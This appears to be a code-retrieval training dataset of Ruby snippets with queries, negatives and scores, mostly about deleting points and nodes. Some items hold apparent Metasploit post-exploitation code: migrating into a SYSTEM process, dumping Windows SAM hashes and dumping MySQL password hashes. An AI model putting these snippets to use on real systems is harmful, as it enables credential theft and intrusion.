phone_numbers.delete_at p\n end", "def -(other_point)\n Point.new(self.x - other_point.x, self.y - other_point.y)\n end", "def delete_member_by_id(pid)\n if posn = member_ids.index(pid)\n delete_member_at(posn)\n end\n end", "def remove(entry_point)\n entry_point = entry_point.name if entry_point.kind_of? Borges::Application\n val = @entry_points.delete(entry_point)\n end", "def remove(x, y)\n @store[x, y] = 0\n end", "def unset_points!(points)\n\t\tpoints.each do |point|\n\t\t\tunset_point!(point)\n\t\tend\n\tend", "def remove(node)\n if link = Likewise::Link.find_by_id(key_for(node))\n remove_link(link)\n element_removed!\n element_decremented!(link[:weight])\n end\n node.context = link\n node\n end", "def clear_at(x, y)\r\n lookup_x = (x / @grid[0]).to_i\r\n lookup_y = (y / @grid[1]).to_i\r\n @map[lookup_x][lookup_y] = nil\r\n end", "def delete(node)\n remove_node(node)\n end", "def destroy\n @point_type = PointType.find(params[:id])\n @point_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_point_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @member_point.destroy\n respond_to do |format|\n format.html { redirect_to member_points_url, notice: 'Member point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_member(user)\n members.delete user if has_member? user\n end", "def remove(obj)\n @set.removeObject obj\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def zdel(key, member)\n mon_synchronize do\n perform [\"zdel\", key, member], proc: T_BOOL\n end\n end", "def remove_node\n cspsearchpath.delete(@label)\n end", "def remove_node(node)\n @nodes_being_worked_on.delete(node)\n @nodes.delete(node)\n # the last edge keeps getting ignored when you remove this, so handling the final case\n assign_node(@edges[0][1]) if @edges.size == 1\n @edges.reject! { |edge| edge.include?(node) }\n end", "def zrem(key, member)\n call(key, [:zrem, key, member])\n end", "def delete_node(line, column)\n key = create_sym_pos(line, column);\n if(@hash_table.key?(key))\n @hash_table.delete(key);\n return true;\n else\n return false;\n end\n end", "def release(point)\n\t\t\n\tend", "def release(point)\n\t\t\n\tend", "def release(point)\n\t\t\n\tend", "def release(point)\n\t\t\n\tend", "def rm_groupmember(member)\n group = @group_class.new :name => member, :node => self.node\n return nil unless group.exists?\n self[:groupmembers].delete group.generateduid.first\n end", "def remove(node)\n # Traverse looking for the node\n sets = []\n prev_link = nil\n each_link do |link|\n if link[:ref_id] == node.id\n sets << [prev_link, link]\n next # in case adjacent removal node links\n end\n prev_link = link\n end\n # Now we can just do the join and we're out\n sets.each do |prev_link, the_link|\n if prev_link\n prev_link[:next_id] = the_link[:next_id]\n else\n self[:head_id] = the_link[:next_id]\n end\n # Mark removal\n element_removed!\n end\n # Return the node if any were removed\n node unless sets.empty?\n end", "def remove_rover(r)\n @map[r.coordinate[0],r.coordinate[1]] = nil\n end", "def destroy\n @user_point = UserPoint.find(params[:id])\n @user_point.destroy\n\n respond_to do |format|\n format.html { redirect_to user_points_url }\n format.json { head :no_content }\n end\n end", "def delete_at(p0) end", "def destroy\n @bill_point = BillPoint.find(params[:id])\n @bill_point.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_points_url }\n format.json { head :ok }\n end\n end", "def zdel(key, member)\n mon_synchronize do\n perform [\"zdel\", key, member], :proc => T_BOOL\n end\n end", "def delete_crl_distribution_point(crl_distribution_point_id, opts = {})\n delete_crl_distribution_point_with_http_info(crl_distribution_point_id, opts)\n nil\n end", "def remove_node_from_local_and_zookeeper(ip)\n # First, remove our local copy\n index_to_remove = nil\n @nodes.each_index { |i|\n if @nodes[i].public_ip == ip\n index_to_remove = i\n break\n end\n }\n @nodes.delete(@nodes[index_to_remove])\n\n # Then remove the remote copy\n ZKInterface.remove_node_information(ip)\n @last_updated = ZKInterface.remove_ip_from_ip_list(ip)\n end", "def remove(node)\n node = node.name if Node === node\n riak_admin 'remove', node\n end", "def delete_area(area)\n points.delete_if{ |pt| area.contains? pt }\n end", "def constraint_location_remove(primitive, node)\n id = \"#{primitive}_on_#{node}\"\n retry_command {\n pcs 'constraint', 'location', 'remove', id\n }\n end", "def remove_child(child)\n if @children.delete(child)\n child.parent = nil\n end\n end", "def clean_cached_node(node)\n Puppet::Node.indirection.destroy(node)\n Puppet.info \"#{node}'s cached node removed\"\n end", "def delete(o); removeObject o end", "def remove_process!(redis, process_id)\n redis.zrem(key, process_id)\n end", "def eject!\n #removes the first node\n node = @store.first\n @store.remove(node.key)\n\n #get rid of the map's reference to the deleted node\n @map.delete(node.key)\n end", "def removePiece\n\t\tif(@piece == nil)\n\t\t\treturn nil;\n\t\telse\n\t\t\tremovedPiece = @piece;\n\t\t\t@piece = nil;\n\t\t\treturn removedPiece;\n\t\tend\n\tend", "def unclustered_points\n points.select {|point| not point.clustered? }\n end", "def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend", "def remove(piece, options = {})\n if !piece.on_board?\n puts \"Piece is not on the board\"\n return false\n end\n\n piece.shape.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n cell(col_i + piece.x, row_i + piece.y).content = \" \"\n cell(col_i + piece.x, row_i + piece.y).piece = nil\n end\n end\n\n piece.x = nil\n piece.y = nil\n piece.on_board = false\n\n true\n end", "def remove_piece(pos)\n i, j = pos\n @rows[i][j] = nil\n @pieces.delete(@rows[i][j])\n end", "def remove_piece(piece)\n piece.piece_cells.each_with_index do |row, j|\n row.each_with_index do |cell, i|\n @cells[piece.y + j][piece.x + i] = 0 if cell == 1\n end\n end\n end", "def destroy\n @point.destroy\n respond_to do |format|\n format.html { redirect_to points_url, notice: 'Point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!\n owner.delete_pin(myself)\n end", "def release(point)\n\t\tsuper(point)\n\tend", "def remove_member(user)\n update_membership(user, false)\n end", "def remove(x, y)\n removed = @crates.reject! {|sc| x >= sc.min_x &&\n x <= sc.max_x &&\n y >= sc.min_y &&\n y <= sc.max_y }\n !removed.nil?\n end", "def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend", "def remove_member_remove_member(object_id, opts = {})\n data, _status_code, _headers = remove_member_remove_member_with_http_info(object_id, opts)\n data\n end", "def rm_user(member)\n self[:users].delete member\n end", "def delete_ppoint\n @ppoint = Ppoint.find(params[:ppoint_id])\n @ppoint_id = @ppoint.id.to_s\n @ppoint.destroy\n \n respond_to do |format|\n format.js\n end\n end", "def destroy\n @point_of_contact.destroy\n\n head :no_content\n end", "def delete_pid()\n if @pid.ours? then\n @pid.delete()\n end\n end", "def remove_member(user)\n raise 'cannot remove admin, set a new admin first!' if user == self.admin\n raise \"cannot remove member #{user.name}, he isn't a member!\" unless self.members.include?(user)\n\n members.delete(user)\n end", "def _delete_reference_to_id(id)\n @data.delete_if do |v|\n v && v.respond_to?(:is_poxreference?) && v.id == id\n end\n @store.cache.cache_write(self)\n end", "def remove_card_member(card_id, member_id)\n delete_card_resource card_id, \"idMembers\", resource_id(member_id)\n end", "def zrem(key, member); end", "def zrem(key, member); end", "def del(key)\n position = find(key)\n if position != nil\n # delete\n value = @values[position]\n @slots[position] = nil\n @values[position] = nil\n value\n else\n nil\n end\n end", "def destroy\n @route_point = RoutePoint.find(params[:id])\n @route_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_points_url) }\n format.xml { head :ok }\n end\n end", "def delete!\n graph.removeVertex element\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def remove_child(child)\n @children.delete(child.name)\n child.parent = nil\n child\n end", "def delete_node(address)\n @cache.delete(address)\n @nodes.delete_blob(address)\n end", "def destroy\n @collection_point = CollectionPoint.find(params[:id])\n @collection_point.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_points_url }\n format.json { head :no_content }\n end\n end", "def delete_member path\n rewrite_members member_paths.delete(path)\n end", "def remove(document)\n return nil unless Mongoid.identity_map_enabled? && document && document.id\n documents_for(document.class).delete(document.id)\n end" ]
[ "0.6343471", "0.5907696", "0.5858198", "0.56060785", "0.5529343", "0.5511267", "0.5491795", "0.5482285", "0.53937984", "0.53906137", "0.53814256", "0.53576195", "0.53563154", "0.5354377", "0.5319888", "0.52398646", "0.5208203", "0.5185692", "0.51625717", "0.51625717", "0.5156411", "0.51562476", "0.51382184", "0.51382184", "0.51382184", "0.51155937", "0.5113312", "0.50981075", "0.5077489", "0.50711757", "0.505408", "0.5052956", "0.5046682", "0.5020398", "0.50072545", "0.49989742", "0.49921873", "0.49796772", "0.49688277", "0.49605188", "0.49448672", "0.49320567", "0.49213973", "0.49196944", "0.49186322", "0.49136543", "0.49013442", "0.48878548", "0.4886474", "0.4886474", "0.4886474", "0.4886474", "0.48847064", "0.48775002", "0.4869788", "0.4864176", "0.48611245", "0.485872", "0.48539832", "0.48536536", "0.4851332", "0.4846831", "0.48408324", "0.48389262", "0.4835532", "0.48338088", "0.48327476", "0.48209465", "0.48134318", "0.4792131", "0.47845596", "0.47750962", "0.47741345", "0.4770661", "0.47680673", "0.4765877", "0.475668", "0.4754014", "0.4748015", "0.47472268", "0.47453603", "0.4744581", "0.47433847", "0.47415128", "0.47392714", "0.4738088", "0.47340724", "0.4732872", "0.4730612", "0.47224492", "0.47224492", "0.47216475", "0.47171894", "0.47142166", "0.47124502", "0.47062093", "0.47051913", "0.47037238", "0.47018147", "0.46906418" ]
0.84225297
0
Determines whether the specified point is a member of this cluster. Like \remove_point, this is done by instance equality (memory address), not coordinate equality. Params: point the Point object whose membership we wish to test. Returns True if the point is a member of the cluster, False otherwise.
def include?(point) self.points.include? point end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def contains?(point)\n point.inside?(self)\n end", "def contains?(point)\n contains_xy?(point.x, point.y)\n end", "def point_inside?(point)\n Geom.point_in_polygon_2D(point, hexagon(position, RADIUS), true)\n end", "def point_is_inside(point)\n result = false\n vertex1 = @points.length - 1\n for vertex2 in 0...@points.length\n if ((@points[vertex2].y > point.y) != (@points[vertex1].y >= point.y)) && (point.x <= (points[vertex1].x - points[vertex2].x) * (point.y - points[vertex2].y) / (points[vertex1].y - points[vertex2].y) + points[vertex2].x)\n result = !result\n end\n vertex1 = vertex2\n vertex2 += 1\n end\n return result\n end", "def contains_point?(point)\n x, y = point.x, point.y\n tuples = @points.zip(@points[1..-1] + [@points[0]])\n crossings =\n tuples.select do |a, b|\n (b.y > y != a.y > y) && (x < (a.x - b.x) * (y - b.y) / (a.y - b.y) + b.x)\n end\n\n crossings.size % 2 == 1\n end", "def in_center(point)\n\t\tif @center.nil?\n\t\t\tif\n\t\t\t\tif @width % 2 == 1\n\t\t\t\t\t(point.x == (@width - 1) / 2)\n\t\t\t\telse\n\t\t\t\t\t(Range.new(@width / 2 - 1, @width / 2) === point.x)\n\t\t\t\tend\n\n\t\t\t\tif\n\t\t\t\t\tif @height % 2 == 1\n\t\t\t\t\t\t(point.y == (@height - 1) / 2) \n\t\t\t\t\telse\n\t\t\t\t\t\t(Range.new(@height / 2 - 1, @height / 2) === point.y)\n\t\t\t\t\tend\n\n\t\t\t\t\t@center = point\n\t\t\t\t\ttrue\n\t\t\t\telse\n\t\t\t\t\tfalse\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def contains_point?(point)\n contains_point = false\n i = -1\n j = @polygon_points.size - 1\n while (i += 1) < @polygon_points.size\n a_point_on_polygon = @polygon_points[i]\n trailing_point_on_polygon = @polygon_points[j]\n if point_is_between_the_ys_of_the_line_segment?(point, a_point_on_polygon, trailing_point_on_polygon)\n if ray_crosses_through_line_segment?(point, a_point_on_polygon, trailing_point_on_polygon)\n contains_point = !contains_point\n end\n end\n j = i\n end\n return contains_point\n end", "def include?(point)\n Math.sqrt((point.x - @middle.x)**2 + (point.y - @middle.y)**2) <= @radius\n end", "def a_point_belongs_to_ship(a_point)\n\toccupied_points.any? { |point| point.is_equal(a_point) } \n end", "def equal?(point)\r\n return true if @x == point.x and @y == point.y\r\n return false\r\n end", "def contains_point?(pt)\n pt.x.between?(left, left + width - 1) &&\n pt.y.between?(top, top + height - 1)\n end", "def member?(person)\n memberships.find_by(activity_member: person.activity_object).present?\n end", "def inside_circle?(point, radius)\n (self.distance_to(point) <= radius)\n end", "def supported_point? point\n r,c,h = point[0], point[1], point[2]\n h == 0 || occupied?([r,c,h-1])\n end", "def contains_point(point, include_border=false)\n point.x.between?(@x, self.right) && point.y.between?(y, self.bottom) unless include_border\n (point.x >= @x) && (point.x <= self.right) && (point.y >= @y) && (point.y <= self.bottom)\n end", "def contains_position?(point)\n translated_position = absolute_position\n\n # TODO: Sizing ignores zoom\n # TODO: Disgustingly long line\n point.x >= translated_position.x && point.x <= translated_position.x + width && point.y >= translated_position.y && point.y <= translated_position.y + height\n end", "def member?(user)\n user.member?(self)\n end", "def partially_valid_public_key?(point)\n return false if point.group != self\n return false if point.infinity?\n point_satisfies_equation?(point)\n end", "def collide_point?(point)\n distance = Math.hypot(point[0]-@rect.center[0],point[1]-@rect.center[1])\n distance < @rect.w/2\n end", "def == point\t\n\t\t@x == point.x && @y == point.y\t\n\tend", "def has_member?(user)\n members.exists?(user)\n end", "def include?(point)\r\n (point - @pos).abs <= @radius\r\n end", "def in?(*p)\n point = p.to_point\n point.in?(self.computed)\n end", "def valid_public_key?(point)\n return false if point.group != self\n return false if point.infinity?\n return false if !point_satisfies_equation?(point)\n point.multiply_by_scalar(order).infinity?\n end", "def include?(point)\n return false if point.group != self\n point.infinity? or point_satisfies_equation?(point)\n end", "def member_of?(board)\n board.members.include? self\n end", "def point_inside_circle? circle_center_point, radius\n Geometry.point_inside_circle? self, circle_center_point, radius\n end", "def ==(other_point)\r\n if other_point.class != self.class\r\n false\r\n else\r\n @x == other_point.x and @y == other_point.y and @z == other_point.z and @m == other_point.m\r\n end\r\n end", "def member_is_this_member?(id)\n requested_member = member_exists? id\n if requested_member.nil?\n return false\n end\n if requested_member != session[:member]\n return false\n end\n return true\n end", "def includes_point?(point)\n horizontal_extent.include?(point.x) && vertical_extent.include?(point.y)\n end", "def member?(user)\n user.has_role?(:member, self) || owner.try('member?', user)\n end", "def has_groupmember?(member)\n group = @group_class.new :name => member, :node => self.node\n return false unless group.exists?\n self[:groupmembers].member? group.generateduid.first\n end", "def member?(resource)\n # NOTE: most likely very inefficient\n self.group_memberships.first(:o_resource => resource) != nil\n end", "def current_member?(member)\n\t\tmember == current_member\n\tend", "def current_member?(member)\n\t\tmember == current_member\n\tend", "def member_in_cooperative?(id)\n return false unless confidential?\n\n Space.find(space_id).member(id).present?\n end", "def member?(p0) end", "def member?(p0) end", "def member?(p0) end", "def contains_point?(x,y)\n contains_x = x.between?(left, right)\n contains_y = y.between?(bottom, top)\n return (contains_x && contains_y)\n end", "def overlaps? point\n inside_top_left?(point) && inside_bottom_right?(point)\n end", "def is_wall?(point)\n objects.any? do |object|\n object.location == point && object.is_wall?\n end\n end", "def contains_point(x,y,z)\n behind = true\n @planes.each{|p|\n behind = (0 >= p.distance_to_point(x,y,z))\n break if not behind\n }\n return behind\n end", "def is_member?(participant)\n self.memberships.each do |membership|\n if membership.participant == participant\n return true\n end\n end\n\n false\n end", "def current_member?(member)\n member == current_member\n end", "def add_point(point)\n puts \"adding p: #{point}\" if @debug\n @points << point\n if self.mec && self.mec.center\n unless self.mec.contains?(point)\n iterate\n end\n else\n iterate\n end\n end", "def lies_outside? point\n\t\tx = point.x\n\t\ty = point.y\n\n\t\tx < 0 or x > @dimension or \\\n\t\ty < 0 or y > @dimension\n\tend", "def member?(user = nil)\n membership = Membership.find_by group_id: id, user_id: user.id\n return false if membership.nil?\n membership.user_id == user.id\n end", "def member? key\n fetch(key, nil) && true\n end", "def is_encloses_point?(point)\n point = Point.new(point[0], point[1]) if point.is_a?(Array)\n raise TypeError, 'Must pass only Point objects' unless point.is_a?(Point)\n\n return false if vertices.include?(point)\n\n sides.each do |s|\n return false if s.contains?(point)\n end\n\n # move to point, checking that the result is numeric\n lit = []\n vertices.each do |v|\n lit << v - point\n end\n\n poly = Polygon.new(*lit)\n # polygon closure is assumed in the following test but Polygon removes duplicate pts so\n # the last point has to be added so all sides are computed. Using Polygon.sides is\n # not good since Segments are unordered.\n args = poly.vertices\n indices = (-args.length..0).to_a\n\n if poly.is_convex?\n orientation = nil\n indices.each do |i|\n a = args[i]\n b = args[i + 1]\n test = ((-a.y)*(b.x - a.x) - (-a.x)*(b.y - a.y)) < 0\n \n if orientation.nil?\n orientation = test\n elsif test != orientation\n return false\n end\n end\n\n return true\n end\n\n hit_odd = false\n p1x, p1y = args[0].x, args[0].y\n indices[1..-1].each do |i|\n p2x, p2y = args[i].x, args[i].y\n\n if [p1y, p2y].min < 0 && [p1y, p2y].max >= 0 && \n [p1x, p2x].max >= 0 && p1y != p2y\n\n xinters = (-p1y)*(p2x - p1x)/(p2y - p1y) + p1x\n hit_odd = !hit_odd if p1x == p2x or 0 <= xinters \n end \n\n p1x, p1y = p2x, p2y\n end\n\n return hit_odd\n end", "def same?(point, delta = POINT_DELTA)\n if ((@x + delta > point.x && @x - delta < point.x &&\n @y + delta > point.y && @y - delta < point.y))\n return true\n end\n return false\n end", "def has_user?(member)\n self[:users].member? member\n end", "def add_point(point)\n point.cluster.remove_point point if point.cluster\n self.points << point\n point.cluster = self\n end", "def member?(player)\n players.include?(player)\n end", "def pointInside(point, withEvent:event)\n bounds = self.bounds\n bounds = CGRectInset(bounds, -20, -15)\n return CGRectContainsPoint(bounds, point)\n end", "def in_bounding_box?(point, box)\n if point.lon > box.west_lon and point.lon < box.east_lon and point.lat < box.north_lat and point.lat > box.south_lat\n return true\n else\n return false \n end\n end", "def member?\n client.organization_member? org_id, user.login\n end", "def is_team_member?(member_id)\n @ticket.project.team_members.where(user_id: member_id).exists?\n end", "def collision?(points)\n\t\tpoints.each do |point|\n\t\t\t# Return true if any of the points is blocked\n\t\t\treturn true if is_point_blocked?(point)\n\t\tend\n\t\t# Return false as none of the points is blocked\n\t\treturn false\n\tend", "def member?\n member.present?\n end", "def collide_point?(x,y)\n nself = normalize()\n x.between?(nself.left,nself.right) && y.between?(nself.top,nself.bottom)\n end", "def inbounds?(point)\n return false if point.x < 0\n return false if point.x >= @grid_width\n return false if point.y < 0\n return false if point.y >= @grid_height\n return true\n end", "def member?\n @member = UserSubscription.where(account_id: self.account_id, currently_active: true)\n if !@member.blank?\n return true\n else\n return false\n end\n end", "def member?(user)\n user_ids.include?(user.id)\n end", "def point?(x)\n x.int? || x.point2d?\nend", "def has_member?(user)\n users.include?(user)\n end", "def is_member?(user)\n return true if user.id == self.created_by.id\n self.users.any? { |u| u.id == user.id }\n end", "def group_member?\n kind == 'group_member'\n end", "def is_near?(point, element)\n elements = get_near(point)\n elements.find { |it| it == element } != nil\n end", "def below? point\n dist(point) > 0\n end", "def eql?(other_point)\n @x == other_point.x && @y == other_point.y\n end", "def is_member?(user)\r\n self.members.one? { |email, member| email == user.email }\r\n end", "def remove_point(point)\n self.points.delete point\n point.cluster = nil\n end", "def test_contains_point_true\n\n bbox = Geom::BoundingBox.new\n bbox.add Geom::Point3d.new(0,0,0)\n bbox.add Geom::Point3d.new(10,10,10)\n\n point = Geom::Point3d.new(5,5,5)\n assert_equal(true, bbox.contains?(point),\n 'Failed in test_contains_point_true: center' )\n\n point = Geom::Point3d.new(0,0,0)\n assert_equal(true, bbox.contains?(point),\n 'Failed in test_contains_point_true: min' )\n\n point = Geom::Point3d.new(10,10,10)\n assert_equal(true, bbox.contains?(point),\n 'Failed in test_contains_point_true: max' )\n end", "def member?(group)\n memberships.find_by_group_id(group)\n end", "def include? point, tolerance = 0\n dist(point).abs <= tolerance\n end", "def isInside(_pos)\n return @shape.insidePoint?(_pos) ;\n end", "def is_owned_by?(member = nil)\n return false if member.blank?\n if self.designer == member or self.client == member\n true\n else\n member.is_super_user? ? true : false\n end\n rescue\n false\n end", "def member?\n client.organization_member? org_id, github_user.login\n end", "def new_point?(end_point)\n\t\tend_x, end_y = end_point\n\t\t!(pos_x == end_x && pos_y == end_y) \n\tend", "def is_empty(a_point)\n\t!ships.any? { |ship| ship.a_point_belongs_to_ship(a_point) } \n end", "def member_removeable_by?(member, actor)\n return true if has_member?(member) && !is_owner?(actor)\n return true if has_member?(member) && is_owner?(actor) && actor != member\n return false\n end", "def has_member?(user_or_person)\n user_or_person = user_or_person.try(:person)\n current_people.include? user_or_person\n end", "def has_member?(user_or_person)\n user_or_person = user_or_person.try(:person)\n current_people.include? user_or_person\n end", "def member?\n has_role_requirement? MemberRole\n end", "def member_of?(project)\n role_for_project(project).member?\n end", "def piece_in_space?(x, y)\n pieces.where(position_x: x, position_y: y).any? ? true : false\n end", "def am_member?(card)\n # this works because I'm the only possible member.\n # if this changes, this method will have to search the members list instead\n card.members.first == me \n end", "def cheaper_locally?(point)\n @local.price_at(point) < @abroad.price_at(point)\n end", "def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end", "def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end", "def member?(*args)\n params = arguments(args, required: [:org_name, :user]).params\n org_name = arguments.org_name\n user = arguments.user\n\n response = if params.delete('public')\n get_request(\"/orgs/#{org_name}/public_members/#{user}\", params)\n else\n get_request(\"/orgs/#{org_name}/members/#{user}\", params)\n end\n response.status == 204\n rescue Github::Error::NotFound\n false\n end", "def member_of?(entity)\n\t\tassociation_exists?(entity, \"membership\", \"joinable\", \"joined\")\n\tend", "def member_of?(group)\n cn_groups.include?(group)\n end", "def is_free?(point)\n element = board[coords_to_pos(point)]\n !FIGURES.include? element\n end", "def member?( name )\n\t\t\treturn @hash.key?( name.to_sym )\n\t\tend", "def has_member(id)\n return get_members_by_id.include? id\n end", "def under_point?(mouse_x, mouse_y)\n border.contains?(mouse_x, mouse_y)\n end", "def contains?(*args)\n x, y = *Vector2.extract(args.singularize)\n x.between?(self.x, self.x2 - 1) && y.between?(self.y, self.y2 - 1)\n end", "def member_exists?(member_path, options={})\n list_members(nil, options).include?(member_path)\n end" ]
[ "0.72043335", "0.716633", "0.7044048", "0.7005432", "0.67497003", "0.65100276", "0.6342464", "0.6304478", "0.6262158", "0.6246827", "0.61500615", "0.61324", "0.6099664", "0.60705036", "0.60604066", "0.5995715", "0.5947682", "0.5922017", "0.5920738", "0.5884041", "0.58539253", "0.5843876", "0.5761675", "0.5756367", "0.574914", "0.57252795", "0.57244384", "0.5723932", "0.57199156", "0.5719304", "0.5669583", "0.5658279", "0.5636293", "0.56276035", "0.56276035", "0.5626459", "0.56242996", "0.56242996", "0.56242996", "0.56209815", "0.5601277", "0.55899596", "0.5578099", "0.5576316", "0.5569286", "0.5514043", "0.54865485", "0.5466491", "0.545732", "0.5454378", "0.5432241", "0.5423077", "0.5420736", "0.538258", "0.53743374", "0.5373217", "0.53636503", "0.53596425", "0.5347579", "0.5346781", "0.53408426", "0.5333033", "0.53204745", "0.5311387", "0.53090197", "0.5292104", "0.5289205", "0.52891487", "0.52858305", "0.5285616", "0.52808285", "0.5274105", "0.5271612", "0.52640176", "0.52630377", "0.52565444", "0.5249127", "0.52096546", "0.5208531", "0.52078336", "0.5199215", "0.51807314", "0.51769686", "0.51769686", "0.5170309", "0.516657", "0.5161761", "0.51616913", "0.5161332", "0.5157173", "0.5157173", "0.51559156", "0.5141472", "0.5130747", "0.5130494", "0.51211053", "0.51191133", "0.51132154", "0.51099795", "0.51072496" ]
0.61849046
10
Function borrowed from smart_hashdump
def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language local_sys = resolve_sid("S-1-5-18") system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" # Processes that can Blue Screen a host if migrated in to dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host next if dangerous_processes.include?(p["name"]) next if p["pid"] == session.sys.process.getpid next if p["pid"] == 4 next if p["user"] != system_account_name return p end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end", "def dump_hash(hash, context = CoderContext.new)\n # Symbolizing keys to unlock **intepolation\n ObjectDumper.dump(hash, context).symbolize_keys\n end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def dump(key); end", "def dump(key); end", "def hash(*) end", "def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end", "def output_hash; end", "def hash()\n #This is a stub, used for indexing\n end", "def hash_hash(h)\n require 'digest/md5'\n\n ordered = h.sort.map { |i| i.class==Hash ? i.sort : i }\n return ordered.to_s\n Digest::MD5.hexdigest(Marshal::dump(ordered))\n end", "def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end", "def dump(hsh_p={})\n cred = Histamine::Labeling.identify(hsh_p)\n pp(cred)\n buckets = @buckets.select { |o|\n match = File.fnmatch(cred[:identity], o.identity)\n match\n }\n results = buckets.map { |o| o.dump }.join(\"\\n\") + \"\\n\"\n return results\n end", "def to_hash() end", "def hash\n end", "def hash\n end", "def hash\n end", "def dehash(hash, depth); end", "def hash(key); end", "def test_hash_correct\n\t\n\t\tString test_array1 = '2|abb2|George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)|1518892051.753197000|c72d'.split('|').map(&:chomp)\n\n\t\tx = test_array1[0].unpack('U*') + test_array1[1].unpack('U*') + test_array1[2].unpack('U*') + test_array1[3].unpack('U*')\n\t\tsum = 0\n\t\t# x.each { |i| puts x[i] }\n\t\t# x.delete(\"\")\n\t\tx.each { |i| sum += ((x[i].to_i ** 2000) * ((x[i].to_i + 2) ** 21) - ((x[i].to_i + 5) ** 3)) }\n\t\thash = (sum % 65536)\n\t\tputs hash.to_s(16)\n\t\t\n\t\ttest_array2 = '3|c72d|SYSTEM>Henry(100)|1518892051.764563000|7419'.split('|').map(&:chomp)\n\t\t\n\t\t# assert_equal test_str[2,2], '0|'\t\n\tend", "def fingerprint; end", "def _dump(depth)\n Marshal.dump(to_hash)\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash()\n #This is a stub, used for indexing\nend", "def binary_hash\n [@hash].pack(\"H*\").reverse\n end", "def rehash() end", "def hexhash\n hash.to_s(16)\n end", "def hash_code; end", "def stringify_hash_keys(hash); end", "def pretty_hash(hash, level: 0, indent: 2)\n unique_values_count = 0\n hash.each do |k, v|\n (level * indent).times { print ' ' }\n print \"#{k}:\"\n if v.is_a?(Hash)\n puts\n unique_values_count += pretty_hash(v, level: level + 1, indent: indent)\n else\n puts \" #{v}\"\n unique_values_count += 1\n end\n end\n unique_values_count\nend", "def hash\n @hash.hash\n end", "def hash\n simplified.hash\n end", "def _dump() end", "def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end", "def hash\n @list.each_slice(16).map do |sub|\n \"%02x\" % sub.reduce(:^)\n end.join\n end", "def dump(struct)\n struct.each_pair.map {|k,v| \" #{k} = 0x%0.8x\" % v}\nend", "def hash\n 0\n end", "def gethash(session)\n\tprint_status(\"Dumping password hashes...\")\n\tbegin\n\t\thash = ''\n\t\tsession.core.use(\"priv\")\n\t\thashes = session.priv.sam_hashes\n\t\thash << \"****************************\\n\"\n\t\thash << \" Dumped Password Hashes\\n\"\n\t\thash << \"****************************\\n\\n\"\n\t\thashes.each do |h|\n\t\t\thash << h.to_s+\"\\n\"\n\t\tend\n\t\thash << \"\\n\\n\\n\"\n\t\tprint_status(\"Hashes Dumped\")\n\trescue ::Exception => e\n\t\tprint_status(\"\\tError dumping hashes: #{e.class} #{e}\")\n\t\tprint_status(\"\\tPayload may be running with insuficient privileges!\")\n\tend\n\thash\n\nend", "def hash\r\n return to_s.hash\r\n end", "def mysql_hashdump(db, host)\n print_status(\"Dumping MySQL User & Password Hashes....\")\n begin\n passdump=@@outdir + host + '-mysql_dump.txt'\n f=File.open(passdump, 'w+')\n f.puts \"MySQL User & Password Hashes\"\n f.puts \"Host: #{host}\"\n query = db.query(\"SELECT CONCAT('HOST: ',host,0x0a,'USER: ',user,0x0a,'PASS: ',password,0x0a) FROM mysql.user;\")\n query.each { |x| puts \"#{x[0]}\".white; f.puts x[0]; }\n f.puts\n puts\n db.close\n f.close\n rescue Mysql::Error => e\n print_error(\"Problem dumping hashes!\")\n puts \"\\t=>\".white + \" #{e}\\n\".light_red\n end\n end", "def hash\n bytes.hash\n end", "def _fingerprint(key_hash)\n fp = []\n key_hash.each_byte { |x| fp << (\"%02x\" % x) }\n ret = []\n 4.times { ret << fp.shift + fp.shift }\n ret.join(' ')\nend", "def dhash t\n case t\n when nil; dhash(\"nil\")\n when true; dhash(\"true\")\n when false; dhash(\"false\")\n when Integer; dhash([t].pack(\"Q>\"))\n when Float; dhash([t].pack(\"G\"))\n when String; SipHash.digest(sip_key, t)\n when Symbol; dhash(t.to_s)\n when Array; dhash(t.map {|ti| dhash(ti)}.join)\n when Hash; 